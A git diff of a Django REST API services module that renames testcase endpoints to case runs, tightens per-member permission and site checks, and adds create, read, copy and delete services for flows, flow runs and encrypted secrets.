     Expects: {
         'request': object
@@ -5425,23 +5608,26 @@ def get_testcases_zapier(request: object) -> object:
 
     # get request data
     _status = request.query_params.get('status')
-    account = Member.objects.get(user=request.user).account
-    testcases = None
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+    caseruns = None
     
     # deciding on scope
-    resource = 'testcase'
+    resource = 'caserun'
 
     # check account and resource 
-    check_data = check_account_and_resource(
-        user=request.user, resource=resource
+    check_data = check_permissions_and_usage(
+        member=member, resource=resource,
+        action='get',
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         return Response(data, status=check_data['status'])
 
-    # get all account assocoiated testcases
-    if testcases is None:
-        testcases = Testcase.objects.filter(
+    # get all account assocoiated caseruns
+    if caseruns is None:
+        caseruns = CaseRun.objects.filter(
             account=account,
         ).exclude(
             time_completed=None,
@@ -5449,21 +5635,26 @@ def get_testcases_zapier(request: object) -> object:
 
     # filter by _status if requested
     if _status is not None:
-        testcases = testcases.filter(status=_status)
+        caseruns = caseruns.filter(status=_status)
 
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        caseruns = caseruns.filter(site__id__in=id_list).order_by('-time_created')
+    
     # build response data
     data = []
 
-    for testcase in testcases:
+    for caserun in caseruns:
         data.append({
-            'id'              :  str(testcase.id),
-            'case'            :  str(testcase.case.id),
-            'case_name'       :  str(testcase.case_name),
-            'site'            :  str(testcase.site.id),
-            'time_created'    :  str(testcase.time_created),
-            'time_completed'  :  str(testcase.time_completed),
-            'configs'         :  testcase.configs,
-            'status'          :  str(testcase.status),
+            'id'              :  str(caserun.id),
+            'case'            :  str(caserun.case.id),
+            'title'           :  str(caserun.title),
+            'site'            :  str(caserun.site.id),
+            'time_created'    :  str(caserun.time_created),
+            'time_completed'  :  str(caserun.time_completed),
+            'configs'         :  caserun.configs,
+            'status'          :  str(caserun.status),
         })
 
     # serialize and return
@@ -5473,14 +5664,14 @@ def get_testcases_zapier(request: object) -> object:
 
 
 
-### ------ Begin Process Services ------ ###
+### ------ Begin Flow Services ------ ###
 
 
 
 
-def get_processes(request: object) -> object:
+def create_or_update_flow(request: object=None) -> object:
     """ 
-    Get one or more `Processes`.
+    Creates or Updates a `Flow` 
 
     Expects: {
         'request': object
@@ -5488,59 +5679,118 @@ def get_processes(request: object) -> object:
     
     Returns -> HTTP Response object
     """
-    
-    # get request data
-    site_id = request.query_params.get('site_id')
-    process_id = request.query_params.get('process_id')
-    _type = request.query_params.get('type')
-    object_id = request.query_params.get('object_id')
 
+    # get request data
+    flow_id = request.data.get('flow_id')
+    nodes = request.data.get('nodes')
+    edges = request.data.get('edges')
+    title = request.data.get('title')
+    
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # setting defaults
+    flow = None
+    action = 'update' if flow_id else 'add'
 
     # checking account and resource 
-    check_data = check_account_and_resource(
-        request=request, resource='process', 
-        process_id=process_id, site_id=site_id
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action=action, id=flow_id, id_type='flow'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get single process
-    if process_id:
-        
-        # get process
-        process = Process.objects.get(id=process_id)
+    # get flow if checks passed
+    if flow_id:
+        flow = Flow.objects.get(id=flow_id)
+
+    # update flow   
+    if flow:
+        if title is not None:
+            flow.title = title
+        if nodes is not None:
+            flow.nodes = nodes
+        if edges is not None:
+            flow.edges = edges
+        # save updates
+        flow.save()
+    
+    # create Case
+    if not flow:
         
+        # create new Flow
+        flow = Flow.objects.create(
+            user = request.user,
+            account = account,
+            title = title if title is not None else 'Untitled Flow',  
+        )
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    data = FlowSerializer(flow, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
+
+
+def get_flows(request: object=None) -> object:
+    """ 
+    Get one or more `Flows`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    flow_id = request.query_params.get('flow_id')
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # setting default
+    flow = None
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action='get', id=flow_id, id_type='flow'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single flow
+    if flow_id:        
+
+        # get flow
+        flow = Flow.objects.get(id=flow_id)
+
         # serialize and return
         serializer_context = {'request': request,}
-        data = ProcessSerializer(process, context=serializer_context).data
+        serialized = FlowSerializer(flow, context=serializer_context)
+        data = serialized.data
         record_api_call(request, data, '200')
-        response = Response(data, status=status.HTTP_200_OK)
-        return response
-
-    # get processes scoped to site
-    if site_id:
-        site = Site.objects.get(id=site_id)
-        processes = Process.objects.filter(site=site).order_by('-time_created')
+        return Response(data, status=status.HTTP_200_OK)
 
-    # get processes scoped to accout and/or type
-    if site_id is None and process_id is None:
-        if _type is None and object_id is None:
-            processes = Process.objects.filter(account=account).order_by('-time_created')
-        if _type is not None:
-            processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
-        if object_id is not None:
-            processes = Process.objects.filter(account=account, object_id=object_id).order_by('-time_created')
+    # get flows scoped by account
+    flows = Flow.objects.filter(account=account).order_by('-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
-    result_page = paginator.paginate_queryset(processes, request)
+    result_page = paginator.paginate_queryset(flows, request)
     serializer_context = {'request': request,}
-    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
+    serialized = FlowSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
     return response
@@ -5548,9 +5798,9 @@ def get_processes(request: object) -> object:
 
 
 
-def get_process(request: object, id: str) -> object:
+def get_flow(request: object=None, id: str=None) -> object:
     """
-    Get single `Process` from the passed "id"
+    Get single `Flow` from the passed "id"
 
     Expects: {
         'request' : object,
@@ -5562,23 +5812,25 @@ def get_process(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-       process_id=id, resource='process'
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action='get', id=id, id_type='flow'
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
         return Response(data, status=check_data['status'])
 
-    # get process if checks passed
-    process = Process.objects.get(id=id)
+    # get flow if checks passed
+    flow = Flow.objects.get(id=id)
         
     # serialize and return
     serializer_context = {'request': request,}
-    serialized = ProcessSerializer(process, context=serializer_context)
+    serialized = FlowSerializer(flow, context=serializer_context)
     data = serialized.data
     record_api_call(request, data, '200')
     return Response(data, status=status.HTTP_200_OK)
@@ -5586,29 +5838,1027 @@ def get_process(request: object, id: str) -> object:
 
 
 
-### ------ Begin Log Services ------ ###
-
-
-
-
-def get_logs(request: object) -> object:
+def search_flows(request: object=None) -> object:
     """ 
-    Get one or more `Testcase`.
+    Searches for matching `Flows` to the passed 
+    "query"
 
     Expects: {
-        'request': object
+        'request': obejct
     }
     
     Returns -> HTTP Response object
     """
 
     # get request data
-    log_id = request.query_params.get('log_id')
-    request_status = request.query_params.get('success')
-    request_type = request.query_params.get('request_type')
-
-    # get user 
     user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+    query = request.query_params.get('query')
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action='get'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # search for flows
+    flows = Flow.objects.filter(
+        Q(account=account, title__icontains=query)
+    ).order_by('-time_created')
+    
+    # serialize and rerturn
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(flows, request)
+    serializer_context = {'request': request,}
+    serialized = FlowSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response 
+
+
+
+
+def copy_flow(request: object=None) -> object:
+    """ 
+    Creates a copy of the passed `Flow`
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response obejct
+    """
+
+    # get request data
+    flow_id = request.data.get('flow_id')
+
+    # get user and acount
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action='add', id=flow_id, id_type='flow'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get flow if checks passed
+    if flow_id:
+        flow = Flow.objects.get(id=flow_id, account=account)
+
+    # create new flow
+    new_flow = Flow.objects.create(
+        user = request.user,
+        account = account,
+        title = f'Copy - {flow.title}', 
+        nodes = flow.nodes,
+        edges = flow.edges
+    )
+
+    # return response
+    serializer_context = {'request': request,}
+    data = FlowSerializer(new_flow, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+    
+
+
+
+def delete_flow(request: object=None, id: str=None, user: object=None) -> object:
+    """ 
+    Deletes the `Flow` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str,
+        'user'    : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    if request:
+        user = request.user
+    member = Member.objects.get(user=request.user)
+    account = member.account
+        
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action='delete', id=id, id_type='flow'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
+    # get flow if checks passed
+    flow = Flow.objects.get(id=id)
+
+    # delete flow
+    flow.delete()
+
+    # return response
+    data = {'message': 'Flow has been deleted',}
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
+
+
+
+
+def delete_many_flows(request: object=None) -> object:
+    """ 
+    Deletes many `Flows` passed in a list
+
+    Expects: {
+        'ids': list
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and delete
+    for id in ids:
+
+        # trying to delete flow
+        try:
+            # delete flow and all assocaited resourses
+            data = delete_flow(id=id, user=user)
+            if data.get('reason'):
+                raise Exception
+
+            # add to success attempts
+            num_succeeded += 1
+            succeeded.append(str(id))
+        except Exception as e:
+            # add to failed attempts
+            print(e)
+            num_failed += 1
+            failed.append(str(id))
+            this_status = False
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_flows_zapier(request: object=None) -> object:
+    """ 
+    Get all `Flows` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+    flows = None
+    
+    # deciding on scope
+    resource = 'flow'
+
+    # check account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flow', 
+        action='get',
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        return Response(data, status=check_data['status'])
+
+    # get all account assocoiated flows
+    if flows is None:
+        flows = Flow.objects.filter(
+            account=account,
+        ).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for flow in flows:
+        data.append({
+            'id'              :  str(flow.id),
+            'title'           :  flow.title,
+            'time_created'    :  str(flow.time_created)
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+### ------ Begin FlowRun Services ------ ###
+
+
+
+
+def create_flowrun(request: object=None) -> object:
+    """ 
+    Creates a new `FlowRun` from the passed 
+    "flow_id" & "site_id"
+
+    Expects: {
+        'request': obejct
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    flow_id = request.data.get('flow_id')
+    site_id = request.data.get('site_id')
+    configs = request.data.get('configs', None)
+    
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # update configs
+    configs = account.configs if configs is None else configs
+
+    # check site
+    if not Site.objects.filter(id=site_id, account=account).exists():
+        data = {'reason': 'site not found'}
+        record_api_call(request, data, '404')
+        return Response(data, status=status.HTTP_404_NOT_FOUND)
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flowrun', 
+        action='add', id=flow_id, id_type='flow'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get flow if checks passed
+    flow = Flow.objects.get(id=flow_id)
+
+    # get site if checks passed
+    site = Site.objects.get(id=site_id)
+
+    # increment account.usage.runs
+    account.usage['flowruns'] += 1
+    account.save()
+
+    # set flowrun_id
+    flowrun_id = uuid.uuid4()
+
+    # update nodes
+    nodes = flow.nodes
+    for i in range(len(nodes)):
+        nodes[i]['data']['status'] = 'queued'
+        nodes[i]['data']['finalized'] = False
+        nodes[i]['data']['time_started'] = None
+        nodes[i]['data']['time_completed'] = None
+        nodes[i]['data']['objects'] = []
+
+    # updates edges
+    edges = flow.edges
+    for i in range(len(edges)):
+        edges[i]['animated'] = False
+        edges[i]['style'] = None
+
+    # create init log
+    logs = [{
+        'timestamp': datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S.%f'),
+        'message': f'system starting up for run_id: {str(flowrun_id)}',
+        'step': '1'
+    },]
+
+    # create flowrun
+    flowrun = FlowRun.objects.create(
+        id      = flowrun_id,
+        flow    = flow,
+        user    = flow.user,
+        account = flow.account,
+        site    = site,
+        title   = flow.title,
+        nodes   = nodes,
+        edges   = edges,
+        logs    = logs,
+        configs = configs
+    )
+
+    # update flow with time_last_run
+    flow = Flow.objects.get(id=flow_id)
+    flow.time_last_run = datetime.now(timezone.utc)
+    flow.save()
+
+    # signals.py should pick up this `create()`
+    # event and then run the first instance of flowr.py
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    data = FlowRunSerializer(flowrun, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+
+
+
+
+def get_flowruns(request: object=None) -> object:
+    """ 
+    Get one or more `FlowRun`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    flowrun_id = request.query_params.get('flowrun_id')
+    site_id = request.query_params.get('site_id')
+    lean = request.query_params.get('lean')
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # defaults
+    id = site_id if site_id else flowrun_id
+    id_type = 'site' if site_id else 'flowrun'
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flowrun', 
+        action='get', id=id, id_type=id_type
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single flowrun
+    if flowrun_id:        
+
+        # get flowrun
+        flowrun = FlowRun.objects.get(id=flowrun_id)
+
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = FlowRunSerializer(flowrun, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    
+    # getting site scoped flowruns
+    if site_id:
+        flowruns = FlowRun.objects.filter(
+            site__id=site_id, 
+            account=account
+        ).order_by('-time_created')
+    
+    # get flowruns scoped to account
+    if not site_id:
+        flowruns = FlowRun.objects.filter(
+            account=account
+        ).order_by('-time_created')
+
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(flowruns, request)
+    serializer_context = {'request': request,}
+    serialized = FlowRunSerializer(result_page, many=True, context=serializer_context)
+    if str(lean).lower() == 'true':
+        serialized = SmallFlowRunSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_flowrun(request: object=None, id: str=None) -> object:
+    """
+    Get single `FlowRun` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='flowrun', 
+        action='get', id=id, id_type='flowrun'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get flowruns if checks passed
+    flowruns = FlowRun.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = FlowRunSerializer(flowruns, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_flowrun(request: object=None, id: str=None, user: object=None) -> object:
+    """ 
+    Deletes the `FlowRun` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str,
+        'account' : object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    if request:
+        user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+    
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flowrun', 
+        action='delete', id=id, id_type='flowrun'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
+    # get flowrun if checks passed
+    flowrun = FlowRun.objects.get(id=id)
+
+    # delete flowrun
+    flowrun.delete()
+
+    # return response
+    data = {'message': 'FlowRun has been deleted',}
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
+
+
+
+
+def get_flowruns_zapier(request: object=None) -> object:
+    """ 
+    Get all `FlowRuns` associated with user's Account.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    _status = request.query_params.get('status')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+    flowruns = None
+    
+    # deciding on scope
+    resource = 'flowrun'
+
+    # check account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='flowrun', 
+        action='get',
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        return Response(data, status=check_data['status'])
+
+    # get all account assocoiated flowruns
+    if flowruns is None:
+        flowruns = FlowRun.objects.filter(
+            account=account,
+        ).exclude(
+            time_completed=None,
+        ).order_by('-time_created')
+
+    # filter by _status if requested
+    if _status is not None:
+        flowruns = flowruns.filter(status=_status)
+
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        flowruns = flowruns.filter(site__id__in=id_list).order_by('-time_created')
+
+    # build response data
+    data = []
+
+    for run in flowruns:
+        data.append({
+            'id'              :  str(run.id),
+            'flow'            :  str(run.flow.id),
+            'site'            :  str(run.site.id),
+            'title'           :  str(run.title),
+            'time_created'    :  str(run.time_created),
+            'time_completed'  :  str(run.time_completed),
+            'status'          :  str(run.status)
+        })
+
+    # serialize and return
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
+### ------ Begin Secret Services ------ ###
+
+
+
+
+def create_or_update_secret(request: object=None) -> object:
+    """ 
+    Creates or Updates a `Secret`
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    secret_id = request.data.get('secret_id')
+    name = request.data.get('name')
+    value = request.data.get('value')
+    action = 'update' if secret_id else 'add'
+    
+    # get user & account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+    
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='secret', 
+        action=action, id=secret_id, id_type='secret'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # encrypt value if passed
+    f = Fernet(settings.SECRETS_KEY)
+    bytes_value = bytes(value, 'utf-8')
+    encrypted_value = f.encrypt(bytes_value).decode('utf-8')
+
+    # update secret
+    if secret_id:
+        
+        # get secret 
+        secret = Secret.objects.get(id=secret_id)
+
+        # save new value
+        secret.value = encrypted_value
+        secret.save()
+    
+    # create new secret
+    if not secret_id:
+        secret = Secret.objects.create(
+            account=account,
+            user=user,
+            name=name,
+            value=encrypted_value
+        )
+
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = SecretSerializer(secret, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_secrets(request: object=None) -> object:
+    """ 
+    Get one or more `Secrets`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    secret_id = request.query_params.get('secret_id')
+    lean = request.query_params.get('lean')
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='secret', 
+        action='get', id=secret_id, id_type='secret'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single secret
+    if secret_id:        
+
+        # get secret
+        secret = Secret.objects.get(id=secret_id)
+
+        # serialize and return
+        serializer_context = {'request': request,}
+        serialized = SecretSerializer(secret, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK)
+    
+    # get secrets scoped to account
+    secrets = Secret.objects.filter(account=account).order_by('-time_created')
+
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(secrets, request)
+    serializer_context = {'request': request,}
+    serialized = SecretSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_secret(request: object=None, id: str=None) -> object:
+    """
+    Get single `Secret` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='secret', 
+        action='get', id=id, id_type='secret'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get secrets if checks passed
+    secrets = Secret.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = SecretSerializer(secrets, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_secrets_all(request: object=None) -> object:
+    """ 
+    Get all `Secrets` associated with the 
+    equesting user's `Account`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='secret', 
+        action='get'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get secrets scoped to account
+    secrets = Secret.objects.filter(account=account).order_by('-time_created')
+
+    # build into list
+    data = []
+    for secret in secrets:
+        data.append({
+            'name': secret.name,
+            'value': secret.name,
+            'task': 'any'
+        })
+
+    # return list
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_secret(request: object=None, id: str=None, user: object=None) -> object:
+    """ 
+    Deletes the `Secret` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str,
+        'user'    : object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
+    if request:
+        user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='secret', 
+        action='delete', id=id, id_type='secret'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
+    # get secret if checks passed
+    secret = Secret.objects.get(id=id)
+
+    # delete secret
+    secret.delete()
+
+    # return response
+    data = {'message': 'Secret has been deleted',}
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
+
+
+
+
+### ------ Begin Process Services ------ ###
+
+
+
+
+def get_processes(request: object=None) -> object:
+    """ 
+    Get one or more `Processes`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    # get request data
+    site_id = request.query_params.get('site_id')
+    process_id = request.query_params.get('process_id')
+    _type = request.query_params.get('type')
+    object_id = request.query_params.get('object_id')
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    id = process_id if process_id else site_id
+    id_type = 'process' if process_id else 'site'
+
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='process', 
+        action='get', id=id, id_type=id_type
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get single process
+    if process_id:
+        
+        # get process
+        process = Process.objects.get(id=process_id)
+        
+        # serialize and return
+        serializer_context = {'request': request,}
+        data = ProcessSerializer(process, context=serializer_context).data
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+
+    # get processes scoped to site
+    if site_id:
+        site = Site.objects.get(id=site_id)
+        processes = Process.objects.filter(site=site).order_by('-time_created')
+
+    # get processes scoped to accout and/or type
+    if site_id is None and process_id is None:
+        if _type is None and object_id is None:
+            processes = Process.objects.filter(account=account).order_by('-time_created')
+        if _type is not None:
+            processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
+        if object_id is not None:
+            processes = Process.objects.filter(account=account, object_id=object_id).order_by('-time_created')
+
+    # filter out all non permissioned sites
+    if len(member.permissions.get('sites',[])) != 0:
+        id_list = [item['id'] for item in member.permissions.get('sites')]
+        processes = processes.filter(site__id__in=id_list).order_by('-time_created')
+
+    # serialize and return
+    paginator = LimitOffsetPagination()
+    result_page = paginator.paginate_queryset(processes, request)
+    serializer_context = {'request': request,}
+    serialized = ProcessSerializer(result_page, many=True, context=serializer_context)
+    response = paginator.get_paginated_response(serialized.data)
+    record_api_call(request, response.data, '200')
+    return response
+
+
+
+
+def get_process(request: object=None, id: str=None) -> object:
+    """
+    Get single `Process` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='process', 
+        action='get', id=id, id_type='process'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get process if checks passed
+    process = Process.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ProcessSerializer(process, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+### ------ Begin Log Services ------ ###
+
+
+
+
+def get_logs(request: object=None) -> object:
+    """ 
+    Get one or more `CaseRun`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    log_id = request.query_params.get('log_id')
+    request_status = request.query_params.get('success')
+    request_type = request.query_params.get('request_type')
+
+    # get user 
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
+
+    # check account and resource
+    check_data = check_permissions_and_usage(
+        member=member, resource='log', 
+        action='get', id=log_id, id_type='log'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
     # get single log
     if log_id:
@@ -5644,7 +6894,7 @@ def get_logs(request: object) -> object:
 
 
 
-def get_log(request: object, id: str) -> object:
+def get_log(request: object=None, id: str=None) -> object:
     """
     Get single `Log` from the passed "id"
 
@@ -5658,11 +6908,13 @@ def get_log(request: object, id: str) -> object:
 
     # get user and account
     user = request.user
-    account = Member.objects.get(user=user).account
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, 
-       log_id=id, resource='log'
+    check_data = check_permissions_and_usage(
+        member=member, resource='log', 
+        action='get', id=id, id_type='log'
     )
